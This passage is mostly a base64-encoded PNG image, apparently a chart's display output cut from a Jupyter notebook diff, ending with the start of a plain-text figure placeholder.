qn58qPuoJAdl86sLAYAFlvqUFACAHUJVvTnJY5I8c/i4dpYwzMn09Uw+mezQG3u4JH+QSYj3/Uzmo3rxjTzmajggkyGLt8zkU/geP8wBBQAsw/A3AAAAAEYz/A0AAACA0Xao4W977713r127dtZlAAAAAOwwNm7ceEl3/9ji5TtUqLR27dps2LBh1mUAAAAA7DCq6itLLTf8DQAAAIDRhEoAAAAAjCZUAgAAAGC0HWpOJQAAAIDlXHXVVbngggty5ZVXzrqUubRmzZrsv//+2W233Va0vVAJAAAA2ClccMEF2WOPPbJ27dpU1azLmSvdnUsvvTQXXHBB7nSnO61oH8PfAAAAgJ3ClVdemb322kugtISqyl577TXqKi6hEgAAALDTECgtb+xzI1QCAAAAYDRzKgEAAAA7pxO28VVLT+ytbrLLLrvk7ne/+3X33/ve92bt2rXbto7B2rVrs2HDhuy9995TOb5QCQAAAGCV3OxmN8sZZ5wx6zK2CcPfAAAAAGZo48aNefCDH5x73/veeeQjH5mLLrooSbJ+/fo8+9nPzoMe9KDc5S53yac+9ak87nGPy53vfOf8/u///nX7P+Yxj8m9733vHHjggTnuuOOWPMfb3va2HHLIITn44IPzlKc8Jddcc82NrluoBAAAALBKvv/97+fggw/OwQcfnMc+9rG56qqr8vSnPz3vfve7s3Hjxhx99NH5vd/7veu233333XP66afnqU99ah796Efnta99bc4888y86U1vyqWXXpokOf7447Nx48Zs2LAhr371q69bvsnZZ5+dd77znfm3f/u3nHHGGdlll13y9re//UY/FsPfAAAAAFbJ4uFvZ555Zs4888w8/OEPT5Jcc8012Weffa5bf8QRRyRJ7n73u+fAAw+8bt1P/uRP5vzzz89ee+2VV7/61TnppJOSJOeff37OPffc7LXXXtcd48Mf/nA2btyY+9znPkkmwdbtbne7G/1YhEoAAAAAM9LdOfDAA/Oxj31syfU3velNkyQ3uclNrru96f7VV1+d0047Lf/0T/+Uj33sY7n5zW+e9evX58orr9zsHEcddVT+5E/+ZJvWbvgbAAAAwIwccMAB+cY3vnFdqHTVVVflrLPOWvH+l19+eW5zm9vk5je/ec4555x8/OMf32ybhz3sYXn3u9+diy++OEly2WWX5Stf+cqNrt2VSgAAAMDO6Yk96wqy++67593vfnee8Yxn5PLLL8/VV1+dZz3rWTnwwANXtP+hhx6a173udTnooINywAEH5H73u99m29z1rnfNH//xH+cRj3hErr322uy222557Wtfmzve8Y43qvbqnv0TuK2sW7euN2zYMOsyAAAAgDl09tln5y53ucusy5hrSz1HVbWxu9ct3tbwNwAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAo+066wIAAAAAZqFOO22bHq/Xr9/6Oavy5Cc/OW9961uTJFdffXX22Wef3Pe+983JJ5+87H6nnXZaXv7yl29xm9UmVAIAYNs7oWZdwdKe2LOugB3RPPa7Xoe5dYtb3CJnnnlmvv/97+dmN7tZTj311Oy3336zLusGMfwNAAAAYBUddthhef/7358kOfHEE3PkkUdet+6Tn/xkHvCAB+Se97xnHvCAB+QLX/jCZvt/97vfzdFHH5373Oc+uec975l/+Id/WLXaFxIqAQAAAKyiJzzhCXnHO96RK6+8Mp/73Ody3/ve97p1P/3TP53TTz89n/nMZ/KHf/iHeeELX7jZ/i972cvy0Ic+NJ/61KfykY98JM973vPy3e9+dzUfQhLD3wAAAABW1UEHHZTzzjsvJ554Yg4//PDrrbv88stz1FFH5dxzz01V5aqrrtps/w996EN53/vel5e//OVJkiuvvDL/9V//lbvc5S6rUv8mQiUAAACAVXbEEUfkuc99bk477bRceuml1y1/0YtelIc85CE56aSTct5552X9EpN/d3fe85735IADDljFijdn+BsAAADAKjv66KPz4he/OHe/+92vt/zyyy+/buLuN73pTUvu+8hHPjKvec1r0j2ZlP8zn/nMVGtdjiuVAAAAgJ1SL3EV0GrZf//988xnPnOz5b/zO7+To446Kq985Svz0Ic+dMl9X/SiF+VZz3pWDjrooHR31q5dm5NPPnnaJW+mNqVaO4J169b1hg0bZl0GAADz+BHriY9ZZzrmsd/1Oizp7LPPXvV5h7Y3Sz1HVbWxu9ct3tbwNwAAAABGEyoBAAAAMJpQCQAAANhp7EjTAG1rY58boRIAAACwU1izZk0uvfRSwdISujuXXnpp1qxZs+J9fPobAAAAsFPYf//9c8EFF+Qb3/jGrEuZS2vWrMn++++/4u2FSgAAAMBOYbfddsud7nSnWZexwzD8DQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGG3XWRcAADuNE2rWFSztiT3rCgAA2A65UgkAAACA0YRKAAAAAIwmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjLbrtA5cVccneVSSi7v7bsOydyY5YNhkzyTf6u6Dl9j3vCTfSXJNkqu7e9206gQAAABgvKmFSknelOTYJG/ZtKC7f2nT7ap6RZLLt7D/Q7r7kqlVBwAAAMANNrVQqbtPr6q1S62rqkryi0keOq3zAwAAADA907xSaUt+NsnXu/vcZdZ3kg9VVSd5fXcft9yBquqYJMckyZq91mTdcUbKATCnLpt1AcvwbyfToN/Zmcxjv+t1YBVUd0/v4JMrlU7eNKfSguV/neSL3f2KZfbbt7svrKrbJTk1ydO7+/StnW/dunW9YcOGbVA5AEzBCTXrCpb2xOn9LsBOTL+zM5nHftfrwDZUVRuXmu961T/9rap2TfK4JO9cbpvuvnD4fnGSk5IcsjrVAQAAALASqx4qJfkfSc7p7guWWllVt6iqPTbdTvKIJGeuYn0AAAAAbMXUQqWqOjHJx5IcUFUXVNWvD6uekOTERdvuW1WnDHdvn+SjVfXZJJ9M8v7u/sC06gQAAABgvGl++tuRyyz/1SWWXZjk8OH2l5PcY1p1AQAAAHDjzWL4GwAAAADbOaESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADCaUAkAAACA0YRKAAAAAIwmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADCaUAkAAACA0YRKAAAAAIwmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhtaqFSVR1fVRdX1ZkLlr20qr5aVWcMX4cvs++hVfWFqvpiVb1gWjUCAAAAcMNM80qlNyU5dInlr+rug4evUxavrKpdkrw2yWFJ7prkyKq66xTrBAAAAGCkqYVK3X16kstuwK6HJPlid3+5u3+Y5B1JHr1NiwMAAADgRtl1Bud8WlX9SpINSZ7T3d9ctH6/JOcvuH9Bkvsud7CqOibJMUmyZq81WXfcum1cLgBsIzfkv1pWg387mQb9zs5kHvtdrwOrYLVDpb9O8kdJevj+iiRHL9qmltivlztgdx+X5LgkWbduXW84ZsO2qRQAtrUTlvonbg480b+dTIF+Z2cyj/2u14FtqJ6y9M+5Vf30t+7+endf093XJvmbTIa6LXZBkjssuL9/kgtXoz4AAAAAVmZVQ6Wq2mfB3ccmOXOJzT6V5M5Vdaeq2j3JE5K8bzXqAwAAAGBlpjb8rapOTLI+yd5VdUGSlyRZX1UHZzKc7bwkTxm23TfJ33b34d19dVU9LckHk+yS5PjuPmtadQIAAAAw3tRCpe4+conFb1hm2wuTHL7g/ilJTplSaQAAAADcSKs6/A0AAACAHYNQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADCaUAkAAACA0YRKAAAAAIwmVAIAAABgNKESAAAAAKPtOusCAAAAgO3ECTXrCjb3xJ51BTstVyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADCaUAkAAACA0YRKAAAAAIwmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjLbrrAsAdnIn1KwrWNoTe9YVAAAAzDVXKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADDa1EKlqjq+qi6uqjMXLPuLqjqnqj5XVSdV1Z7L7HteVf1HVZ1RVRumVSMAAAAAN8w0r1R6U5JDFy07NcnduvugJP+Z5He3sP9Duvvg7l43pfoAAAAAuIGmFip19+lJLlu07EPdffVw9+NJ9p/W+QEAAACYnl1neO6jk7xzmXWd5ENV1Ule393HLXeQqjomyTFJsmavNVl3nAubYLty2dY3mQk/S5gG/c7ORL+zM5nHftfrTIt+Z4Hq7ukdvGptkpO7+26Llv9eknVJHtdLFFBV+3b3hVV1u0yGzD19uPJpi9atW9cbNpiCCbYrJ9SsK1jaE6f3s5GdmH5nZ6Lf2ZnMY7/rdaZFv++UqmrjUtMTrfqnv1XVUUkeleRJSwVKSdLdFw7fL05yUpJDVq9CAAAAALZmVUOlqjo0yfOTHNHd31tmm1tU1R6bbid5RJIzl9oWAAAAgNmYWqhUVScm+ViSA6rqgqr69STHJtkjyalVdUZVvW7Ydt+qOmXY9fZJPlpVn03yySTv7+4PTKtOAAAAAMab2kTd3X3kEovfsMy2FyY5fLj95ST3mFZdAAAAANx4qz6nEgAAAADbP6ESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjLbrrAsAAGarTjtt1iVsptevn3UJAABshSuVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADCaUAkAAACA0YRKAAAAAIwmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABG23VrG1TVTZP8QpK1C7fv7j+cXlkAAAAAzLOthkpJ/iHJ5Uk2JvnBdMsBAAAAYHuwklBp/+4+dOqVAAAAALDdWMmcSv9eVXefeiUAAAAAbDdWcqXSzyT51ar6f5kMf6sk3d0HTbUyAAAAAObWSkKlw6ZeBQAAAADbla2GSt39lSSpqtslWTP1igAAAACYe1sNlarqiCSvSLJvkouT3DHJ2UkOnG5pAACwbdVpp826hM30+vWzLoEd0Dz2eqLfYUezkom6/yjJ/ZL8Z3ffKcnDkvzbVKsCAAAAYK6tJFS6qrsvTXKTqrpJd38kycHTLQsAAACAebaSibq/VVW3THJ6krdX1cVJrp5uWQAAAADMs5VcqfToJN9P8uwkH0jypSQ/P82iAAAAAJhvK/n0t+8uuPvmKdYCAAAAwHZi2VCpqj7a3T9TVd9J0gtXJenuvtXUqwMAAABgLi0bKnX3zwzf91i9cgAAAADYHmzpSqXbbmnH7r5s25cDAAAAwPZgS3Mqbcxk2Fsl+Ykk3xxu75nkv5LcadrFAQAAADCflv30t+6+U3f/ZJIPJvn57t67u/dK8qgkf79aBQIAAAAwf5YNlRa4T3efsulOd/9jkgdPryQAAAAA5t2Whr9tcklV/X6St2UyHO7JSS6dalUAAAAAzLWVXKl0ZJIfS3LS8PVjwzIAAAAAdlJbvVJp+JS3Z1bVLbv7ilWoCQAAAIA5t9UrlarqAVX1+SSfH+7fo6r+z9QrAwAAAGBurWT426uSPDLDPErd/dkkD5pmUQAAAADMt5WESunu8xctumYKtQAAAACwnVjJp7+dX1UPSNJVtXuSZyQ5e7plAQAAADDPVnKl0lOT/HaS/ZJckOTg4T4AAAAAO6mVfPrbJUmetAq1AAAAALCd2GqoVFV3SvL0JGsXbt/dR0yvLAAAAADm2UrmVHpvkjck+b9Jrp1qNQAAAABsF1YSKl3Z3a+eeiUAAAAAbDdWMlH3X1XVS6rq/lV1r01fW9upqo6vqour6swFy25bVadW1bnD99sss++hVfWFqvpiVb1gxOMBAAAAYBWsJFS6e5LfTPKnSV4xfL18Bfu9Kcmhi5a9IMmHu/vOST483L+eqtolyWuTHJbkrkmOrKq7ruB8AAAAAKySlQx/e2ySn+zuH445cHefXlVrFy1+dJL1w+03JzktyfMXbXNIki9295eTpKreMez3+THnBwAAAGB6VhIqfTbJnkku3gbnu313X5Qk3X1RVd1uiW32S3L+gvsXJLnvcgesqmOSHJMka/Zak3XHrdsGZc7YZRtnXcHSbnvvWVfAjuiyWRewjB3hZwnzZ177/aKnzLqCzaz7zz1mXQI3ln5fMf2+A5jHfp/DXk/0+w5hHvvd7+4zs5JQ6fZJzqmqTyX5waaF3X3ElGqqJZb1cht393FJjkuSdevW9YZjNkyprFV0wlJPwRx44g7w3DJ/9Ds7kznt99r39bMuYTMb1q+fdQncWPp9xfT7DmAO+30eez3R7zuEOex3v7tPXz1l6dd9JaHSS7ZhHV+vqn2Gq5T2ydJXP12Q5A4L7u+f5MJtWAMAAAAAN9JWQ6Xu/pdteL73JTkqk0m/j0ryD0ts86kkd66qOyX5apInJHniNqwBAAAAgBtpJZ/+doNU1YlJPpbkgKq6oKp+PZMw6eFVdW6Shw/3U1X7VtUpSdLdVyd5WpIPJjk7ybu6+6xp1QkAAADAeCsZ/naDdPeRy6x62BLbXpjk8AX3T0lyypRKAwAAAOBG2uqVSlX1qKqa2hVNAAAAAGx/VhIWPSHJuVX151V1l2kXBAAAAMD822qo1N1PTnLPJF9K8saq+lhVHVNVe0y9OgAAAADm0oqGtXX3t5O8J8k7kuyT5LFJPl1VT59ibQAAAADMqZXMqfTzVXVSkn9OsluSQ7r7sCT3SPLcKdcHAAAAwBxayae//c8kr+ru0xcu7O7vVdXR0ykLAAAAgHm21VCpu39lC+s+vG3LAQAAAGB7sJLhb/erqk9V1RVV9cOquqaqvr0axQEAAAAwn1YyUfexSY5Mcm6SmyX5jSSvmWZRAAAAAMy3lcyplO7+YlXt0t3XJHljVf37lOsCAAAAYI6tJFT6XlXtnuSMqvrzJBclucV0ywIAAABgnq1k+NsvJ9klydOSfDfJHZL8wjSLAgAAAGC+reTT374y3Px+kj+YbjkAAAAAbA+WDZWq6j+S9HLru/ugqVQEAAAAwNzb0pVKjxq+//bw/a3D9ycl+d7UKgIAAABg7i0bKm0a9lZVD+zuBy5Y9YKq+rckfzjt4gAAAACYTyuZqPsWVfUzm+5U1QPi098AAAAAdmpbnag7ya8nOb6qbj3c/1aSo6dWEQAAAABzbyWf/rYxyT2q6lZJqrsvn35ZAAAAAMyzlQx/S5J097eTvH2KtQAAAACwnVhxqDTYbypVAAAAALBdGRsqfWYqVQAAAACwXVnJRN3X6W4TdAM7hTrttFmXsJlev37WJQAAwNyZx9/dk53j9/dlr1SqqltX1Z9W1TlVdenwdfawbM9VrBEAAACAObOl4W/vSvLNJOu7e6/u3ivJQ4Zlf7caxQEAAAAwn7YUKq3t7j/r7q9tWtDdX+vuP0vyE9MvDQAAAIB5taVQ6StV9TtVdftNC6rq9lX1/CTnT780AAAAAObVlkKlX0qyV5J/qarLquqyJKcluW2SX1yF2gAAAACYU8t++lt3fzPJ84cvAAAAALjOsqFSklTVIUm6uz9VVXdNcmiSc7r7lFWpDgAAAIC5tGyoVFUvSXJYkl2r6tQk981k+NsLquqe3f2y1SkRAAAAgHmzpSuVHp/k4CQ3TfK1JPt397er6i+SfCKJUAkAAABgJ7Wlibqv7u5ruvt7Sb7U3d9Oku7+fpJrV6U6AAAAAObSlkKlH1bVzYfb9960sKpuHaESAAAAwE5tS8PfHtTdP0iS7l4YIu2W5KipVgUAAADAXFs2VNoUKC2x/JIkl0ytIgAAAADm3paGvwEAAADAkoRKAAAAAIwmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABht11kXwPajTjtt1iVsptevn3UJAAAAsFNypRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjrXqoVFUHVNUZC76+XVXPWrTN+qq6fME2L17tOgEAAABY3q6rfcLu/kKSg5OkqnZJ8tUkJy2x6b9296NWsTQAAAAAVmjWw98eluRL3f2VGdcBAAAAwAirfqXSIk9IcuIy6+5fVZ9NcmGS53b3WUttVFXHJDkmSdbstSbrjls3lUJX1WWzLmAZFz1l1hVsZt1/7jHrErix9PuK6fcdgH5fMf2+A9DvK6bfdwDz2O9z2OuJft8h6PcV2xn6vbp7Nieu2j2TwOjA7v76onW3SnJtd19RVYcn+avuvvPWjrlu3bresGHDdApeTSfUrCtYUu37kVmXsJlev37WJXBj6fcV0+87AP2+Yvp9B6DfV0y/7wDmsN/nsdcT/b5D0O8rtiP1e1Vt7O7NruKZ5fC3w5J8enGglCTd/e3uvmK4fUqS3apq79UuEAAAAIClzTJUOjLLDH2rqh+vqhpuH5JJnZeuYm0AAAAAbMFM5lSqqpsneXiSpyxY9tQk6e7XJXl8kt+qqquTfD/JE3pW4/QAAAAA2MxMQqXu/l6SvRYte92C28cmOXa16wIAAABgZWY5/A0AAACA7ZRQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADCaUAkAAACA0YRKAAAAAIwmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADCaUAkAAACA0YRKAAAAAIwmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYLSZhEpVdV5V/UdVnVFVG5ZYX1X16qr6YlV9rqruNYs6AQAAAFjarjM890O6+5Jl1h2W5M7D132T/PXwHQAAAIA5MK/D3x6d5C098fEke1bVPrMuCgAAAICJWV2p1Ek+VFWd5PXdfdyi9fslOX/B/QuGZRctPlBVHZPkmCRZs9earDtu3XQqXk2XzbqAZVz0lFlXsJl1/7nHrEvgxtLvK6bfdwD6fcX0+w5Av6+Yft8BzGO/z2GvJ/p9h6DfV2xn6Pfq7tU/adW+3X1hVd0uyalJnt7dpy9Y//4kf9LdHx3ufzjJ73T3xi0dd926db1hw2ZTNG1/TqhZV7Ck2vcjsy5hM71+/axL4MbS7yum33cA+n3F9PsOQL+vmH7fAcxhv89jryf6fYeg31dsR+r3qtrY3ZtdxTOT4W/dfeHw/eIkJyU5ZNEmFyS5w4L7+ye5cHWqAwAAAGBrVj1UqqpbVNUem24neUSSMxdt9r4kvzJ8Ctz9klze3ZsNfQMAAABgNmYxp9Ltk5xUVZvOf0J3f6Cqnpok3f26JKckOTzJF5N8L8mvzaBOAAAAAJax6qFSd385yT2WWP66Bbc7yW+vZl0AAAAArNxM5lQCAAAAYPsmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADCaUAkAAACA0YRKAAAAAIwmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADCaUAkAAACA0YRKAAAAAIwmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAo616qFRVd6iqj1TV2VV1VlU9c4lt1lfV5VV1xvD14tWuEwAAAIDl7TqDc16d5Dnd/emq2iPJxqo6tbs/v2i7f+3uR82gPgAAAAC2YtWvVOrui7r708Pt7yQ5O8l+q10HAAAAADfcLK5Uuk5VrU1yzySfWGL1/avqs0kuTPLc7j5rmWMck+SYJFmz15qsO27dlKpdRZfNuoBlXPSUWVewmXX/ucesS+DG0u8rpt93APp9xfT7DkC/r5h+3wHMY7/PYa8n+n2HoN9XbGfo9+ru2Zy46pZJ/iXJy7r77xetu1WSa7v7iqo6PMlfdfedt3bMdevW9YYNG6ZT8Go6oWZdwZJq34/MuoTN9Pr1sy6BG0u/r5h+3wHo9xXT7zsA/b5i+n0HMIf9Po+9nuj3HYJ+X7Edqd+ramN3b3YVz0w+/a2qdkvyniRvXxwoJUl3f7u7rxhun5Jkt6rae5XLBAAAAGAZs/j0t0ryhiRnd/crl9nmx4ftUlWHZFLnpatXJQAAAABbMos5lR6Y5JeT/EdVnTEse2GSn0iS7n5dkscn+a2qujrJ95M8oWc1Tg8AAACAzax6qNTdH02yxUGY3X1skmNXpyIAAAAAxprJnEoAAAAAbN+ESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADCaUAkAAACA0YRKAAAAAIwmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADCaUAkAAACA0YRKAAAAAIwmVAIAAABgNKESAAAAAKMJlQAAAAAYTagEAAAAwGhCJQAAAABGEyoBAAAAMJpQCQAAAIDRhEoAAAAAjCZUAgAAAGA0oRIAAAAAowmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAAACMJlQCAAAAYDShEgAAAACjCZUAAAAAGE2oBAAAAMBoQiUAAAAARhMqAQAAADCaUAkAAACA0YRKAAAAAIwmVAIAAABgtJmESlV1aFV9oaq+WFUvWGJ9VdWrh/Wfq6p7zaJOAAAAAJa26qFSVe2S5LVJDkty1yRHVtVdF212WJI7D1/HJPnrVS0SAAAAgC2axZVKhyT5Ynd/ubt/mOQdSR69aJtHJ3lLT3w8yZ5Vtc9qFwoAAADA0nadwTn3S3L+gvsXJLnvCrbZL8lFiw9WVcdkcjVTklxRVV/YdqVyfQ/ZO8kls65ioZp1AezA9Ds7E/3OzkS/s7OYv15P9DvTot9XwR2XWjiLUGmp57VvwDaThd3HJTnuxhbF1lXVhu5eN+s6YDXod3Ym+p2diX5nZ6HX2Zno99mZxfC3C5LcYcH9/ZNceAO2AQAAAGBGZhEqfSrJnavqTlW1e5InJHnfom3el+RXhk+Bu1+Sy7t7s6FvAAAAAMzGqg9/6+6rq+ppST6YZJckx3f3WVX11GH965KckuTwJF9M8r0kv7badbIkwwzZmeh3dib6nZ2JfmdnodfZmej3GanuJacqAgAAAIBlzWL4GwAAAADbOaESAAAAAKMJlXZCVXV8VV1cVWcuWHZwVX28qs6oqg1Vdcgy+/5FVZ1TVZ+rqpOqas9F63+iqq6oqudO+WHAilTVHarqI1V1dlWdVVXPHJa/tKq+OvT8GVV1+DL7/9HQ72dU1Yeqat9F6/U8c6Oq1lTVJ6vqs0O//8GwfEX9vuA4z62qrqq9Fy3X78yVqtqlqj5TVScP91f6s32L2+l15lFVnVdV/7Hp9/Vh2Yp/vlfV06vqC8O/D3++aJ2eZ25V1Z5V9e7h79Czq+r+Y3+3YXpWfaJu5sKbkhyb5C0Llv15kj/o7n8c3pB/nmT9EvuemuR3hwnX/yzJ7yZ5/oL1r0ryj9MoGm6gq5M8p7s/XVV7JNlYVacO617V3S/fyv5/0d0vSpKqekaSFyd56oL1ep558oMkD+3uK6pqtyQfrapN/bmSfk9V3SHJw5P81xKr9Tvz5plJzk5yqwXLVtTrW9lOrzOvHtLdlyxattWer6qHJHl0koO6+wdVdbvFx4ieZ379VZIPdPfjh0+Qv3mSR2YrvV9VL01yXne/aVWq3Em5Umkn1N2nJ7ls8eL86BeyWye5cJl9P9TdVw93P55k/03rquoxSb6c5KxtWS/cGN19UXd/erj9nUz++NhvxP7fXnD3Fpm8V5LoeeZPT1wx3N1t+Br7iRyvSvI7i/fT78ybqto/yc8l+dttfNzHRK+z4/mtJH/a3T9Iku6+eNMKPc88q6pbJXlQkjckSXf/sLu/NdOiuB6hEps8K8lfVNX5SV6eyRVIW3N0hv/RqKpbZHLF0h9Mq0C4sapqbZJ7JvnEsOhpw9C246vqNlvY72XDe+NJmVyppOeZW8NwoDOSXJzk1O5ecb9X1RFJvtrdn120XL8zj/4ykwD02kXLV/Szfant9DpzrpN8qKo2VtUxC5avpOd/KsnPVtUnqupfquo+iZ5nu/CTSb6R5I3DcOe/Hfo2WfnPe6ZIqMQmv5Xk2d19hyTPzpAEL6eqfi+TYUVvHxb9QSaXH16x/F4wO1V1yyTvSfKs4eqjv07y35IcnOSiJK9Ybt/u/r3hvfH2JE8bFut55lJ3X9PdB2dyJekhVXW3rKDfq+rmSX4vQ3C6iH5nrlTVo5Jc3N0bF61a6c/25bbT68yzB3b3vZIcluS3q+pBWXnP75rkNknul+R5Sd5VVRU9z/zbNcm9kvx1d98zyXeTvCDL9H5V3X3TPEuZTFnxhwvmXdprBvXv8Kp77FXx7AiGKzZO7u67DfcvT7Jnd/fwD8zl3X2rqnpjJld2XNjdhw/bHpXJG/Rh3f29Ydm/JrnDcPg9M/lfwxd397Gr+LBgScPcMicn+WB3v3KJ9WszvB+W6vkF290xyfuH7fQ8c6+qXpLkuwvnG1iu3zP5n+oPJ/nesOn+w/JDkvxd9DtzpKr+JMkvZ/IfXGsyGcL/99395AXbrM3KfrYv3M7PdrYLw1wxV6zk53t3H15VH8hk+Ntpw7ZfyiRg+vvoeeZYVf14ko9399rh/s8meUF3/9yCbdZmwd+2C5a/NOZUmjoTdbPJhUkenOS0JA9Ncm6SdPevLdyoqg7N5A+PB28KlIbtfnbBNi/N5B85/xgxc0NI+oYkZy8MlKpqn+6+aLj72CRnJkv2/J27+9zh7hFJzhm20/PMnar6sSRXdfe3qupmSf5Hkj9bab8nud2CY52XZN0wIax+Z6509+9mGKpfVeuTPLe7nzziZ/ty2+l15tIw3Ocm3f2d4fYjMrkCY6U/39+bye/4p1XVTyXZPcklep55191fq6rzq+qA7v5Ckocl+fxyvc/qEyrthKrqxEw+2W3vqrogyUuS/GaSv6qqXZNcmeSYZXY/NslNk5w6+Vs9H+/upy6zLcyDB2byv9n/MVwGmyQvTHJkVR2cyfwE5yV5yjL7/2lVHZDJ/9x9Jdf/5DeYN/skeXNV7ZLJEPd3dffJVfXWFfY7bO/+fIW9vtLtYF7cPslJw+/fuyY5obs/MOLn+/FJjq+qM5P8MMlRbcgK24+nJ3l7TT757ctJfi3Jq/0cnw+GvwEAAAAwmom6AQAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNGESgAAU1BVj62qrqqfnnUtAADTIFQCAJiOI5N8NMkTZl0IAMA0CJUAALaxqrplkgcm+fUMoVJV3aSq/k9VnVVVJ1fVKVX1+GHdvavqX6pqY1V9sKr2mWH5AAArIlQCANj2HpPkA939n0kuq6p7JXlckrVJ7p7kN5LcP0mqarckr0ny+O6+d5Ljk7xsBjUDAIyy66wLAADYAR2Z5C+H2+8Y7u+W5O+6+9okX6uqjwzrD0hytySnVlWS7JLkolWtFgDgBhAqAQBsQ1W1V5KHJrlbVXUmIVEnOWm5XZKc1d33X6USAQC2CcPfAAC2rccneUt337G713b3HZL8vySXJPmFYW6l2ydZP2z/hSQ/VlXXDYerqgNnUTgAwBhCJQCAbevIbH5V0nuS7JvkgiRnJnl9kk8kuby7f5hJEPVnVfXZJGckecCqVQsAcANVd8+6BgCAnUJV3bK7rxiGyH0yyQO7+2uzrgsA4IYwpxIAwOo5uar2TLJ7kj8SKAEA2zNXKgEAAAAwmjmVAAAAABhNqAQAAADAaEIlAAAAAEYTKgEAAAAwmlAJAAAAgNH+f1b25IhQhZQFAAAAAElFTkSuQmCC\n", + "text/plain": [ + "
